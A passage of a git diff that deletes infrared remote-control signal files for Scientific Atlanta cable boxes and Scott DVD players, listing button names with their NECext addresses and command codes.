-protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: PRG -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: AU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1B 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: RCL -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 37 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir deleted file mode 100644 index 6a55a68aa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 22 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir deleted file mode 100644 index b7c40a7b6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: NUM_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: NUM_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: NUM_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: NUM_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: NUM_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: NUM_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: NUM_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: NUM_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: NUM_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: NUM_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2C 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 33 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 37 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir deleted file mode 100644 index 15cdc6573..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: bypass -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: VOD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2C 00 00 00 -# -name: yellowtriangle -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: bluesquare -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: redcircle -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 33 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 37 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 -# -name: diece -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir deleted file mode 100644 index b8f53d5e4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir deleted file mode 100644 index 5076079ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: select_up -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: select_left -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: select_right -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: select_down -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0D 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: KEY_KPASTERISK -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 19 00 00 00 -# -name: live -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1E 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 20 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 21 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 22 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 26 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 27 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2C 00 00 00 -# -name: pip_ch+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2E 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2F 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 30 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 33 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 34 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 35 00 00 00 -# -name: select_page+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 36 00 00 00 -# -name: select_page- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 37 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 39 00 00 00 -# -name: pound -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3A 00 00 00 -# -name: pip_power -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3B 00 00 00 -# -name: pip_swap -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3C 00 00 00 -# -name: pip_move -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3E 00 00 00 -# -name: pip_ch- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir deleted file mode 100644 index 9a31cd45f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: resume -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: item -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: track -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: GoTo -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir deleted file mode 100644 index 9cac50077..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: VOCAL_ASSIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: SKIP_BW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: SKIP_FW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: PN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 